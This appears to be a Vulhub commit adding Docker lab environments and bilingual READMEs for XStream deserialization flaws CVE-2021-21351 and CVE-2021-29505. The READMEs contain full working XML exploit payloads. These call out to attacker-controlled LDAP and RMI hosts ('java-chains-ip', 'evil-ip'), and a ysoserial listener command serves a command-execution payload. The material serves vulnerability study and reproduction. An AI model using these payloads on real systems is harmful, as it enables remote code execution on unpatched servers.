first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
xstream/CVE-2021-21351/1.png
Normal file
BIN
xstream/CVE-2021-21351/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 47 KiB |
BIN
xstream/CVE-2021-21351/2.png
Normal file
BIN
xstream/CVE-2021-21351/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 98 KiB |
BIN
xstream/CVE-2021-21351/3.png
Normal file
BIN
xstream/CVE-2021-21351/3.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 18 KiB |
129
xstream/CVE-2021-21351/README.md
Normal file
129
xstream/CVE-2021-21351/README.md
Normal file
@@ -0,0 +1,129 @@
|
||||
# XStream Deserialization Remote Command Execution (CVE-2021-21351)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
XStream is a simple library to serialize objects to XML and back again.
|
||||
|
||||
XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.15 and earlier, blocklists are incomplete and attackers could use `javax.naming.ldap.Rdn$RdnEntry` and `javax.sql.rowset.BaseRowSet` to make an JNDI injection and execute arbitrary commands finally.
|
||||
|
||||
Reference links.
|
||||
|
||||
- https://x-stream.github.io/CVE-2021-21351.html
|
||||
- https://paper.seebug.org/1543/
|
||||
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit/
|
||||
|
||||
## Vulnerable Environment
|
||||
|
||||
Start a Springboot + XStream 1.4.15 server.
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully
|
||||
|
||||

|
||||
|
||||
## POC
|
||||
|
||||
Since the target Java version is higher than 8u191, you need the help of `org.apache.naming.factory.BeanFactory` with EL expression injection to execute arbitrary commands, reference to [this article](https://www.veracode.com/blog/research/exploiting-jndi-injections-java).
|
||||
|
||||
You can use the [Java Chains](https://github.com/vulhub/java-chains) for vulnerability replication. Refer to the [Quick Start](https://java-chains.vulhub.org/docs/guide) to launch Java Chains. Afterwards, according to the image below, select to set the command to execute as `touch /tmp/success`, and generate the JNDI LDAP URL Payload:
|
||||
|
||||

|
||||
|
||||
Use the above LDAP URL as the value of `<dataSource>` to construct the POC as follows:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
Content-Length: 3181
|
||||
|
||||
<sorted-set>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>ysomap</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
|
||||
<m__DTMXRTreeFrag>
|
||||
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
|
||||
<m__size>-10086</m__size>
|
||||
<m__mgrDefault>
|
||||
<__overrideDefaultParser>false</__overrideDefaultParser>
|
||||
<m__incremental>false</m__incremental>
|
||||
<m__source__location>false</m__source__location>
|
||||
<m__dtms>
|
||||
<null/>
|
||||
</m__dtms>
|
||||
<m__defaultHandler/>
|
||||
</m__mgrDefault>
|
||||
<m__shouldStripWS>false</m__shouldStripWS>
|
||||
<m__indexing>false</m__indexing>
|
||||
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
|
||||
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
|
||||
<javax.sql.rowset.BaseRowSet>
|
||||
<default>
|
||||
<concurrency>1008</concurrency>
|
||||
<escapeProcessing>true</escapeProcessing>
|
||||
<fetchDir>1000</fetchDir>
|
||||
<fetchSize>0</fetchSize>
|
||||
<isolation>2</isolation>
|
||||
<maxFieldSize>0</maxFieldSize>
|
||||
<maxRows>0</maxRows>
|
||||
<queryTimeout>0</queryTimeout>
|
||||
<readOnly>true</readOnly>
|
||||
<rowSetType>1004</rowSetType>
|
||||
<showDeleted>false</showDeleted>
|
||||
<dataSource>ldap://java-chains-ip:50389/x</dataSource>
|
||||
<listeners/>
|
||||
<params/>
|
||||
</default>
|
||||
</javax.sql.rowset.BaseRowSet>
|
||||
<com.sun.rowset.JdbcRowSetImpl>
|
||||
<default/>
|
||||
</com.sun.rowset.JdbcRowSetImpl>
|
||||
</fPullParserConfig>
|
||||
<fConfigSetInput>
|
||||
<class>com.sun.rowset.JdbcRowSetImpl</class>
|
||||
<name>setAutoCommit</name>
|
||||
<parameter-types>
|
||||
<class>boolean</class>
|
||||
</parameter-types>
|
||||
</fConfigSetInput>
|
||||
<fConfigParse reference='../fConfigSetInput'/>
|
||||
<fParseInProgress>false</fParseInProgress>
|
||||
</m__incrementalSAXSource>
|
||||
<m__walker>
|
||||
<nextIsRaw>false</nextIsRaw>
|
||||
</m__walker>
|
||||
<m__endDocumentOccured>false</m__endDocumentOccured>
|
||||
<m__idAttributes/>
|
||||
<m__textPendingStart>-1</m__textPendingStart>
|
||||
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
|
||||
<m__pastFirstElement>false</m__pastFirstElement>
|
||||
</m__dtm>
|
||||
<m__dtmIdentity>1</m__dtmIdentity>
|
||||
</m__DTMXRTreeFrag>
|
||||
<m__dtmRoot>1</m__dtmRoot>
|
||||
<m__allowRelease>false</m__allowRelease>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>ysomap</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
|
||||
<m__obj class='string'>test</m__obj>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
</sorted-set>
|
||||
```
|
||||
|
||||
It can be seen that `touch /tmp/success` has been successfully executed:
|
||||
|
||||

|
||||
|
||||
If something goes wrong with the POC and Java version, the POC have to be modified by changing ``<__overrideDefaultParser>false</__overrideDefaultParser>`` to ``<__useServicesMechanism>false</__useServicesMechanism>``.
|
127
xstream/CVE-2021-21351/README.zh-cn.md
Normal file
127
xstream/CVE-2021-21351/README.zh-cn.md
Normal file
@@ -0,0 +1,127 @@
|
||||
# XStream 反序列化命令执行漏洞(CVE-2021-21351)
|
||||
|
||||
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
|
||||
|
||||
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入,进而执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://x-stream.github.io/CVE-2021-21351.html
|
||||
- https://paper.seebug.org/1543/
|
||||
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
|
||||
- https://github.com/welk1n/JNDI-Injection-Exploit/
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Springboot + XStream 1.4.15的环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
由于目标环境Java版本高于8u191,故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。
|
||||
|
||||
你可以使用[Java Chains](https://github.com/vulhub/java-chains)来进行漏洞复现,参考[快速入手](https://java-chains.vulhub.org/zh/docs/guide)启动 Java Chains。之后根据下图所示,选择设置要执行的命令为`touch /tmp/success`,生成JNDI LDAP URL Payload:
|
||||
|
||||

|
||||
|
||||
将以上 LDAP URL 作为`<dataSource>`的值,构造POC如下:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: localhost:8080
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
Content-Length: 3181
|
||||
|
||||
<sorted-set>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>ysomap</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
|
||||
<m__DTMXRTreeFrag>
|
||||
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
|
||||
<m__size>-10086</m__size>
|
||||
<m__mgrDefault>
|
||||
<__overrideDefaultParser>false</__overrideDefaultParser>
|
||||
<m__incremental>false</m__incremental>
|
||||
<m__source__location>false</m__source__location>
|
||||
<m__dtms>
|
||||
<null/>
|
||||
</m__dtms>
|
||||
<m__defaultHandler/>
|
||||
</m__mgrDefault>
|
||||
<m__shouldStripWS>false</m__shouldStripWS>
|
||||
<m__indexing>false</m__indexing>
|
||||
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
|
||||
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
|
||||
<javax.sql.rowset.BaseRowSet>
|
||||
<default>
|
||||
<concurrency>1008</concurrency>
|
||||
<escapeProcessing>true</escapeProcessing>
|
||||
<fetchDir>1000</fetchDir>
|
||||
<fetchSize>0</fetchSize>
|
||||
<isolation>2</isolation>
|
||||
<maxFieldSize>0</maxFieldSize>
|
||||
<maxRows>0</maxRows>
|
||||
<queryTimeout>0</queryTimeout>
|
||||
<readOnly>true</readOnly>
|
||||
<rowSetType>1004</rowSetType>
|
||||
<showDeleted>false</showDeleted>
|
||||
<dataSource>ldap://java-chains-ip:50389/x</dataSource>
|
||||
<listeners/>
|
||||
<params/>
|
||||
</default>
|
||||
</javax.sql.rowset.BaseRowSet>
|
||||
<com.sun.rowset.JdbcRowSetImpl>
|
||||
<default/>
|
||||
</com.sun.rowset.JdbcRowSetImpl>
|
||||
</fPullParserConfig>
|
||||
<fConfigSetInput>
|
||||
<class>com.sun.rowset.JdbcRowSetImpl</class>
|
||||
<name>setAutoCommit</name>
|
||||
<parameter-types>
|
||||
<class>boolean</class>
|
||||
</parameter-types>
|
||||
</fConfigSetInput>
|
||||
<fConfigParse reference='../fConfigSetInput'/>
|
||||
<fParseInProgress>false</fParseInProgress>
|
||||
</m__incrementalSAXSource>
|
||||
<m__walker>
|
||||
<nextIsRaw>false</nextIsRaw>
|
||||
</m__walker>
|
||||
<m__endDocumentOccured>false</m__endDocumentOccured>
|
||||
<m__idAttributes/>
|
||||
<m__textPendingStart>-1</m__textPendingStart>
|
||||
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
|
||||
<m__pastFirstElement>false</m__pastFirstElement>
|
||||
</m__dtm>
|
||||
<m__dtmIdentity>1</m__dtmIdentity>
|
||||
</m__DTMXRTreeFrag>
|
||||
<m__dtmRoot>1</m__dtmRoot>
|
||||
<m__allowRelease>false</m__allowRelease>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>ysomap</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
|
||||
<m__obj class='string'>test</m__obj>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
</sorted-set>
|
||||
```
|
||||
|
||||
然后,进入目标容器内,可见`touch /tmp/success`已成功执行:
|
||||
|
||||

|
||||
|
||||
在实战中,如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。
|
6
xstream/CVE-2021-21351/docker-compose.yml
Normal file
6
xstream/CVE-2021-21351/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/xstream:1.4.15
|
||||
ports:
|
||||
- "8080:8080"
|
BIN
xstream/CVE-2021-29505/1.png
Normal file
BIN
xstream/CVE-2021-29505/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 47 KiB |
BIN
xstream/CVE-2021-29505/2.png
Normal file
BIN
xstream/CVE-2021-29505/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 34 KiB |
BIN
xstream/CVE-2021-29505/3.png
Normal file
BIN
xstream/CVE-2021-29505/3.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 35 KiB |
116
xstream/CVE-2021-29505/README.md
Normal file
116
xstream/CVE-2021-29505/README.md
Normal file
@@ -0,0 +1,116 @@
|
||||
# XStream Deserialization Remote Command Execution (CVE-2021-29505)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
XStream is a simple library to serialize objects to XML and back again.
|
||||
|
||||
XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.16 and earlier, blocklists are incomplete and attackers could use `sun.rmi.registry.RegistryImpl_Stub` to make an RMI request and execute arbitrary commands finally.
|
||||
|
||||
Reference links.
|
||||
|
||||
- [https://x-stream.github.io/CVE-2021-29505.html][1]
|
||||
- https://paper.seebug.org/1543/
|
||||
|
||||
## Vulnerable Environment
|
||||
|
||||
Start a Springboot + XStream 1.4.16 server.
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully
|
||||
|
||||

|
||||
|
||||
## POC
|
||||
|
||||
First of all, you have to start a malicious RMI Registry on evil server using the JRMPListener of [ysoserial](https://github.com/frohoff/ysoserial).
|
||||
|
||||
```
|
||||
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"
|
||||
```
|
||||
|
||||
This RMI Registry, upon receiving the request, returns a malicious serialized object constructed with `CommonsCollections6` gadget.
|
||||
|
||||
Then, send the XML POC of CVE-2021-29505, replace **evil-ip** with address of evil RMI Registry.
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: your-ip
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
Content-Length: 3169
|
||||
|
||||
<java.util.PriorityQueue serialization='custom'>
|
||||
<unserializable-parents/>
|
||||
<java.util.PriorityQueue>
|
||||
<default>
|
||||
<size>2</size>
|
||||
</default>
|
||||
<int>3</int>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>12345</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
|
||||
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>12345</type>
|
||||
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
|
||||
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
|
||||
<parsedMessage>true</parsedMessage>
|
||||
<soapVersion>SOAP_11</soapVersion>
|
||||
<bodyParts/>
|
||||
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
|
||||
<attachmentsInitialized>false</attachmentsInitialized>
|
||||
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
|
||||
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
|
||||
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
|
||||
<names>
|
||||
<string>aa</string>
|
||||
<string>aa</string>
|
||||
</names>
|
||||
<ctx>
|
||||
<environment/>
|
||||
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
|
||||
<java.rmi.server.RemoteObject>
|
||||
<string>UnicastRef</string>
|
||||
<string>evil-ip</string>
|
||||
<int>1099</int>
|
||||
<long>0</long>
|
||||
<int>0</int>
|
||||
<long>0</long>
|
||||
<short>0</short>
|
||||
<boolean>false</boolean>
|
||||
</java.rmi.server.RemoteObject>
|
||||
</registry>
|
||||
<host>evil-ip</host>
|
||||
<port>1099</port>
|
||||
</ctx>
|
||||
</candidates>
|
||||
</aliases>
|
||||
</nullIter>
|
||||
</sm>
|
||||
</message>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
</java.util.PriorityQueue>
|
||||
</java.util.PriorityQueue>
|
||||
```
|
||||
|
||||
The malicious RMI registry receives the RMI request successfully.
|
||||
|
||||

|
||||
|
||||
Enter into the XStream container, ``touch /tmp/success`` has been successfully executed:
|
||||
|
||||

|
||||
|
||||
Significantly, POC from [official website][1] is wrong, you must not use it.
|
||||
|
||||
[1]: https://x-stream.github.io/CVE-2021-29505.html
|
114
xstream/CVE-2021-29505/README.zh-cn.md
Normal file
114
xstream/CVE-2021-29505/README.zh-cn.md
Normal file
@@ -0,0 +1,114 @@
|
||||
# XStream 反序列化命令执行漏洞(CVE-2021-29505)
|
||||
|
||||
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
|
||||
|
||||
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [https://x-stream.github.io/CVE-2021-29505.html][1]
|
||||
- https://paper.seebug.org/1543/
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Springboot + XStream 1.4.16的环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
作为攻击者,我们在自己的服务器上使用[ysoserial](https://github.com/frohoff/ysoserial)的JRMPListener启动一个恶意的RMI Registry:
|
||||
|
||||
```
|
||||
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"
|
||||
```
|
||||
|
||||
这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。
|
||||
|
||||
然后,我们向目标服务器发送CVE-2021-29505的XML POC:
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: your-ip
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: application/xml
|
||||
Content-Length: 3169
|
||||
|
||||
<java.util.PriorityQueue serialization='custom'>
|
||||
<unserializable-parents/>
|
||||
<java.util.PriorityQueue>
|
||||
<default>
|
||||
<size>2</size>
|
||||
</default>
|
||||
<int>3</int>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>12345</type>
|
||||
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
|
||||
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<javax.naming.ldap.Rdn_-RdnEntry>
|
||||
<type>12345</type>
|
||||
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
|
||||
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
|
||||
<parsedMessage>true</parsedMessage>
|
||||
<soapVersion>SOAP_11</soapVersion>
|
||||
<bodyParts/>
|
||||
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
|
||||
<attachmentsInitialized>false</attachmentsInitialized>
|
||||
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
|
||||
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
|
||||
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
|
||||
<names>
|
||||
<string>aa</string>
|
||||
<string>aa</string>
|
||||
</names>
|
||||
<ctx>
|
||||
<environment/>
|
||||
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
|
||||
<java.rmi.server.RemoteObject>
|
||||
<string>UnicastRef</string>
|
||||
<string>evil-ip</string>
|
||||
<int>1099</int>
|
||||
<long>0</long>
|
||||
<int>0</int>
|
||||
<long>0</long>
|
||||
<short>0</short>
|
||||
<boolean>false</boolean>
|
||||
</java.rmi.server.RemoteObject>
|
||||
</registry>
|
||||
<host>evil-ip</host>
|
||||
<port>1099</port>
|
||||
</ctx>
|
||||
</candidates>
|
||||
</aliases>
|
||||
</nullIter>
|
||||
</sm>
|
||||
</message>
|
||||
</value>
|
||||
</javax.naming.ldap.Rdn_-RdnEntry>
|
||||
</java.util.PriorityQueue>
|
||||
</java.util.PriorityQueue>
|
||||
```
|
||||
|
||||
其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求:
|
||||
|
||||

|
||||
|
||||
进入目标容器内,可见``touch /tmp/success``已成功执行:
|
||||
|
||||

|
||||
|
||||
值得注意的是,我们没有直接使用[官网][1]给出的POC,那个POC是错的。
|
||||
|
||||
[1]: https://x-stream.github.io/CVE-2021-29505.html
|
6
xstream/CVE-2021-29505/docker-compose.yml
Normal file
6
xstream/CVE-2021-29505/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/xstream:1.4.16
|
||||
ports:
|
||||
- "8080:8080"
|
Reference in New Issue
Block a user